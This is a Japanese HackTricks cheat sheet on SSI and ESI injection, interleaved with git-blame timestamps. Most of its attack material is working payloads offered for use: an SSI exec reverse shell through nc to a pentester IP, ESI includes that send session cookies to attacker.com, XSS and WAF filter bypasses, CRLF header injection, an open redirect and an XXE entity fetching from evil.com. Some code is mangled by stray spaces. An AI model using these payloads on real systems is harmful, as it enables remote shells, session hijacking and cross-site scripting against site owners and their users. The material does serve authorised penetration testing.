2023-07-07 23:42:27 +00:00
# サーバーサイドインクルージョン/エッジサイドインクルージョンインジェクション
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。
* [**公式のPEASS& HackTricksのグッズ** ](https://peass.creator-spring.com )を手に入れましょう。
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出してください。**
2022-04-28 16:01:33 +00:00
< / details >
2023-07-07 23:42:27 +00:00
## サーバーサイドインクルージョンの基本情報
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
SSI( サーバーサイドインクルード) は、HTMLページに配置され、ページが提供される際にサーバーで評価される指示です。これにより、CGIプログラムや他の動的な技術を介してページ全体を提供する必要なく、既存のHTMLページに**動的に生成されたコンテンツを追加**することができます。\
たとえば、次のように既存のHTMLページにディレクティブを配置することができます。
2021-06-07 09:30:58 +00:00
`<!--#echo var="DATE_LOCAL" -->`
2023-07-07 23:42:27 +00:00
そして、ページが提供されると、このフラグメントは評価され、その値で置き換えられます。
2021-06-07 09:30:58 +00:00
`Tuesday, 15-Jan-2013 19:28:54 EST`
2023-07-07 23:42:27 +00:00
SSIを使用するタイミングと、ページ全体をプログラムによって生成するタイミングは、通常、ページのどれだけが静的であり、ページが提供されるたびに再計算する必要があるかによって決まります。SSIは、上記のように現在の時刻などの小さな情報を追加するための素晴らしい方法です。しかし、ページの大部分が提供される時点で生成される場合は、他の解決策を探す必要があります。( 定義は[ここ](https://httpd.apache.org/docs/current/howto/ssi.html)から取得されました)。
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
ウェブアプリケーションが拡張子`.shtml`、`.shtm`、または`.stm`のファイルを使用している場合、SSIの存在を推測することができますが、これに限定されません。
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
典型的なSSI式の形式は次のようになります:
2021-10-18 11:21:18 +00:00
```
2021-06-07 09:30:58 +00:00
<!-- #directive param="value" -->
```
2023-07-07 23:42:27 +00:00
### チェック
To check for Server-Side Inclusion (SSI) and Edge-Side Inclusion (ESI) Injection vulnerabilities, you can follow these steps:
1. **Identify user-controllable input** : Look for any user input that is directly or indirectly used in the server-side code or templates. This can include parameters in URLs, form inputs, cookies, or HTTP headers.
2. **Inject SSI/ESI payloads** : Once you have identified the user-controllable input, inject SSI or ESI payloads to test for vulnerabilities. For SSI, you can use the `<!--#include virtual="file" -->` directive to include a file. For ESI, you can use the `<esi:include src="url" />` tag to include a URL.
3. **Observe the response** : Check if the injected payload is executed and if any server-side code or template files are included in the response. Look for any unexpected content or error messages that may indicate a successful inclusion.
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
4. **Exploit the vulnerability** : If the payload is successfully executed and includes server-side code or template files, try to exploit the vulnerability further. This can include accessing sensitive files, executing arbitrary code, or escalating privileges.
2022-10-03 13:43:01 +00:00
2023-07-07 23:42:27 +00:00
5. **Mitigate the vulnerability** : Once the vulnerability is confirmed, it is important to mitigate it to prevent potential attacks. This can involve sanitizing user input, implementing proper input validation, and using secure coding practices.
By following these steps, you can effectively check for SSI and ESI Injection vulnerabilities and take appropriate actions to secure your web application.
2022-10-03 13:43:01 +00:00
```javascript
// Document name
<!-- #echo var="DOCUMENT_NAME" -->
// Date
<!-- #echo var="DATE_LOCAL" -->
// File inclusion
<!-- #include virtual="/index.html" -->
// Including files (same directory)
<!-- #include file="file_to_include.html" -->
// CGI Program results
<!-- #include virtual="/cgi - bin/counter.pl" -->
// Including virtual files (same directory)
<!-- #include virtual="file_to_include.html" -->
// Modification date of a file
<!-- #flastmod file="index.html" -->
// Command exec
<!-- #exec cmd="dir" -->
// Command exec
<!-- #exec cmd="ls" -->
// Reverse shell
<!-- #exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->
// Print all variables
<!-- #printenv -->
// Setting variables
<!-- #set var="name" value="Rich" -->
2021-06-07 09:30:58 +00:00
```
2023-07-07 23:42:27 +00:00
## エッジサイドインクルージョン
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
コンテンツの一部が次回の取得時に変化する可能性があるため、**情報のキャッシュや動的なアプリケーション**に問題があります。これがESIが使用される理由で、ESIタグを使用して**キャッシュバージョンを送信する前に生成する必要がある動的コンテンツ**を示します。\
もし**攻撃者**がキャッシュコンテンツ内に**ESIタグを注入**できる場合、ユーザーに送信される前にドキュメントに**任意のコンテンツを注入**することができます。
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
### ESIの検出
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
以下の**ヘッダー**がサーバーからのレスポンスに含まれている場合、サーバーはESIを使用しています。
2021-10-18 11:21:18 +00:00
```
2021-06-07 09:30:58 +00:00
Surrogate-Control: content="ESI/1.0"
```
2023-07-07 23:42:27 +00:00
このヘッダーが見つからない場合、サーバーは**ESIを使用している可能性があります**。\
**盲目的な攻撃手法も使用できます**。攻撃者のサーバーにリクエストが到着するはずです。
2022-10-03 13:43:01 +00:00
```javascript
// Basic detection
2023-07-07 23:42:27 +00:00
hell<!-- esi --> o
2023-01-04 14:57:03 +00:00
// If previous is reflected as "hello", it's vulnerable
// Blind detection
< esi:include src = http://attacker.com >
2022-10-03 13:43:01 +00:00
// XSS Exploitation Example
2023-01-04 14:57:03 +00:00
< esi:include src = http://attacker.com/XSSPAYLOAD.html >
2022-10-03 13:43:01 +00:00
// Cookie Stealer (bypass httpOnly flag)
2023-01-04 14:57:03 +00:00
< esi:include src = http://attacker.com/?cookie_stealer.php?=$(HTTP_COOKIE) >
2022-10-03 13:43:01 +00:00
// Introduce private local files (Not LFI per se)
< esi:include src = "supersecret.txt" >
// Valid for Akamai, sends debug information in the response
< esi:debug / >
2021-06-07 09:30:58 +00:00
```
2023-07-07 23:42:27 +00:00
### ESIの悪用
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
[GoSecure ](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/ )は、異なるESI対応ソフトウェアに対して試すことができる攻撃の可能性を理解するためのテーブルを作成しました。以下のテーブルの列名に関して、いくつかの説明を提供します:
2022-10-03 13:43:01 +00:00
2023-07-07 23:42:27 +00:00
* **Includes**: `<esi:includes>` ディレクティブをサポートしています
* **Vars**: `<esi:vars>` ディレクティブをサポートしています。XSSフィルタをバイパスするのに役立ちます
* **Cookie**: ドキュメントのクッキーはESIエンジンからアクセス可能です
* **Upstream Headers Required**: 上流アプリケーションがヘッダを提供しない限り、サロゲートアプリケーションはESIステートメントを処理しません
* **Host Allowlist**: この場合、ESIインクルードは許可されたサーバーホストからのみ可能であり、例えばSSRFはそれらのホストに対してのみ可能です
2022-10-03 13:43:01 +00:00
2023-07-07 23:42:27 +00:00
| **ソフトウェア** | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
2022-10-03 13:43:01 +00:00
| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
| Squid3 | Yes | Yes | Yes | Yes | No |
| Varnish Cache | Yes | No | No | Yes | Yes |
| Fastly | Yes | No | No | No | Yes |
| Akamai ESI Test Server (ETS) | Yes | Yes | Yes | No | No |
| NodeJS esi | Yes | Yes | Yes | No | No |
| NodeJS nodesi | Yes | No | No | No | Optional |
#### XSS
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
以下のESIディレクティブは、サーバーのレスポンス内に任意のファイルをロードします。
2021-06-07 09:30:58 +00:00
```markup
< esi:include src = http://attacker.com/xss.html >
```
2023-07-07 23:42:27 +00:00
ファイル_http://attacker.com/xss.html_には、`< script > alert ( 1 ) < / script > `のようなXSSペイロードが含まれている可能性があります。
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
#### クライアントのXSS保護をバイパスする
2021-06-07 09:30:58 +00:00
```markup
x=< esi:assign name = "var1" value = "'cript'" / > < s < esi:vars name = "$(var1)" / > >alert(/Chrome%20XSS%20filter%20bypass/);< /s< esi:vars name = "$(var1)" / > >
2023-01-04 14:57:03 +00:00
Use <!-- esi --> to bypass WAFs:
< scr < ! --esi-- > ipt>aler<!-- esi --> t(1)< /sc<!-- esi --> ript>
< img + src = x+on<!--esi-- > error=ale<!-- esi --> rt(1)>
2021-06-07 09:30:58 +00:00
```
2023-07-07 23:42:27 +00:00
#### Cookieの盗み出し
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
* リモートでCookieを盗み出す
2021-06-07 09:30:58 +00:00
```markup
< esi:include src = http://attacker.com/$(HTTP_COOKIE) >
< esi:include src = "http://attacker.com/?cookie=$(HTTP_COOKIE{'JSESSIONID'})" / >
```
2023-07-07 23:42:27 +00:00
* レスポンスに反映させることで、XSSを使用してHTTP\_ONLYクッキーを盗む:
2023-01-04 14:57:03 +00:00
```bash
# This will reflect the cookies in the response
<!-- esi $(HTTP_COOKIE) -->
# Reflect XSS
<!-- esi/$url_decode('"><svg/onload=prompt(1)>')/ -->
```
2023-03-28 11:38:04 +00:00
< figure > < img src = "../.gitbook/assets/image (4) (7).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-01-04 14:57:03 +00:00
2023-07-07 23:42:27 +00:00
* クッキーの反映による完全なアカウント乗っ取り
2023-01-04 14:57:03 +00:00
< figure > < img src = "../.gitbook/assets/image (21).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-07-07 23:42:27 +00:00
#### プライベートなローカルファイル
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
これは「ローカルファイルインクルージョン」とは混同しないでください。
2021-06-07 09:30:58 +00:00
```markup
< esi:include src = "secret.txt" >
```
2022-10-03 13:43:01 +00:00
#### CRLF
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
CRLF( Carriage Return Line Feed) は、テキストファイル内の改行を表す特殊な文字シーケンスです。CR( キャリッジリターン) はカーソルを行の先頭に移動させ、LF( ラインフィード) はカーソルを次の行に移動させます。
CRLFインジェクションは、Webアプリケーションにおいて、ユーザーの入力が直接レスポンスヘッダーに挿入される場合に発生する脆弱性です。攻撃者は、改行文字を使用してヘッダーを改ざんし、任意のヘッダーやレスポンスを挿入することができます。
CRLFインジェクションの影響は、セッションハイジャック、クロスサイトスクリプティング( XSS) 、クロスサイトリクエストフォージェリ( CSRF) など、さまざまな攻撃につながる可能性があります。
CRLFインジェクションを防ぐためには、ユーザーの入力を適切にエスケープするか、改行文字を削除する必要があります。また、セキュリティヘッダーの適切な設定や、最新のパッチやアップデートの適用も重要です。
2021-06-07 09:30:58 +00:00
```markup
< esi:include src = "http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/" / >
```
2023-07-07 23:42:27 +00:00
#### オープンリダイレクト
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
以下は、レスポンスに `Location` ヘッダーを追加します。
2023-01-04 14:57:03 +00:00
```bash
<!-- esi $add_header('Location','http://attacker.com') -->
```
2023-07-07 23:42:27 +00:00
#### ヘッダーの追加
2023-01-04 14:57:03 +00:00
2023-07-07 23:42:27 +00:00
* 強制リクエストでヘッダーを追加する
2022-10-15 14:18:24 +00:00
```html
< esi:include src = "http://example.com/asdasd" >
< esi:request_header name = "User-Agent" value = "12345" / >
< / esi:include >
```
2023-07-07 23:42:27 +00:00
* レスポンスにヘッダーを追加します( XSSを含むレスポンスで「Content-Type: text/json」をバイパスするのに便利です)
2023-01-04 14:57:03 +00:00
```bash
<!-- esi/$add_header('Content - Type','text/html')/ -->
<!-- esi/$(HTTP_COOKIE)/$add_header('Content - Type','text/html')/$url_decode($url_decode('"><svg/onload=prompt(1)>'))/ -->
```
2023-06-14 10:51:55 +00:00
< figure > < img src = "../.gitbook/assets/image (5) (1) (1) (2).png" alt = "" > < figcaption > < / figcaption > < / figure >
2023-01-04 14:57:03 +00:00
2023-07-07 23:42:27 +00:00
#### ヘッダーにCRLFを追加する( **CVE-2019-2438)**
2022-10-15 14:18:24 +00:00
```markup
< esi:include src = "http://example.com/asdasd" >
< esi:request_header name = "User-Agent" value = "12345
Host: anotherhost.com"/>
< / esi:include >
```
2023-07-07 23:42:27 +00:00
#### Akamai デバッグ
2022-10-15 14:18:24 +00:00
2023-07-07 23:42:27 +00:00
これにより、レスポンスに含まれるデバッグ情報が送信されます:
2021-06-07 09:30:58 +00:00
```markup
< esi:debug / >
```
2022-10-03 13:43:01 +00:00
### ESI + XSLT = XXE
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
`xslt` 値を_dca_パラメータに指定することで、**eXtensible Stylesheet Language Transformations (XSLT)**ベースのESIインクルードを追加することも可能です。次のインクルードは、HTTPサロゲートにXMLファイルとXSLTファイルのリクエストを行わせます。その後、XSLTファイルがXMLファイルをフィルタリングするために使用されます。このXMLファイルを使用して、**XML External Entity (XXE)**攻撃を実行することができます。これにより、攻撃者は**Server-Side Request Forgery (SSRF)**攻撃を実行することができますが、ESIインクルード自体がSSRFベクトルであるため、あまり有用ではありません。外部DTDは解析されません。なぜなら、基礎となるライブラリ( Xalan) がそれをサポートしていないためです。ローカルファイルを抽出することはできません。
2021-06-07 09:30:58 +00:00
```markup
< esi:include src = "http://host/poc.xml" dca = "xslt" stylesheet = "http://host/poc.xsl" / >
```
2023-07-07 23:42:27 +00:00
XSLTファイル:
2021-06-07 09:30:58 +00:00
```markup
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xxe [<!ENTITY xxe SYSTEM "http://evil.com/file" > ]>
< foo > &xxe; < / foo >
```
2023-07-07 23:42:27 +00:00
XSLTページをチェックしてください:
2021-06-07 11:31:39 +00:00
2021-10-18 11:21:18 +00:00
{% content-ref url="xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md" %}
[xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md ](xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md )
{% endcontent-ref %}
2021-06-07 11:31:39 +00:00
2023-07-07 23:42:27 +00:00
### 参考文献
2021-06-07 09:30:58 +00:00
* [https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/ ](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/ )
* [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ ](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/ )
2022-10-03 13:43:01 +00:00
* [https://academy.hackthebox.com/module/145/section/1304 ](https://academy.hackthebox.com/module/145/section/1304 )
2023-01-04 14:57:03 +00:00
* [https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91 ](https://infosecwriteups.com/exploring-the-world-of-esi-injection-b86234e66f91 )
2021-06-07 09:30:58 +00:00
2023-07-07 23:42:27 +00:00
## ブルートフォース検出リスト
2021-06-27 21:56:13 +00:00
2021-10-18 11:21:18 +00:00
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssi_esi.txt" %}
2022-04-28 16:01:33 +00:00
< details >
2023-04-25 18:35:28 +00:00
< summary > < a href = "https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology" > < strong > ☁️ HackTricks Cloud ☁️< / strong > < / a > -< a href = "https://twitter.com/hacktricks_live" > < strong > 🐦 Twitter 🐦< / strong > < / a > - < a href = "https://www.twitch.tv/hacktricks_live/schedule" > < strong > 🎙️ Twitch 🎙️< / strong > < / a > - < a href = "https://www.youtube.com/@hacktricks_LIVE" > < strong > 🎥 Youtube 🎥< / strong > < / a > < / summary >
2022-04-28 16:01:33 +00:00
2023-07-07 23:42:27 +00:00
* **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS** ](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family** ](https://opensea.io/collection/the-peass-family )を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション
* [**公式のPEASS& HackTricks swag** ](https://peass.creator-spring.com )を手に入れましょう
* [**💬** ](https://emojipedia.org/speech-balloon/ ) [**Discordグループ** ](https://discord.gg/hRep4RUj7f )または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦** ](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md )[**@carlospolopm** ](https://twitter.com/hacktricks\_live )**をフォロー**してください。
* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo** ](https://github.com/carlospolop/hacktricks ) **と** [**hacktricks-cloud repo** ](https://github.com/carlospolop/hacktricks-cloud ) **に提出**してください。
2022-04-28 16:01:33 +00:00
< / details >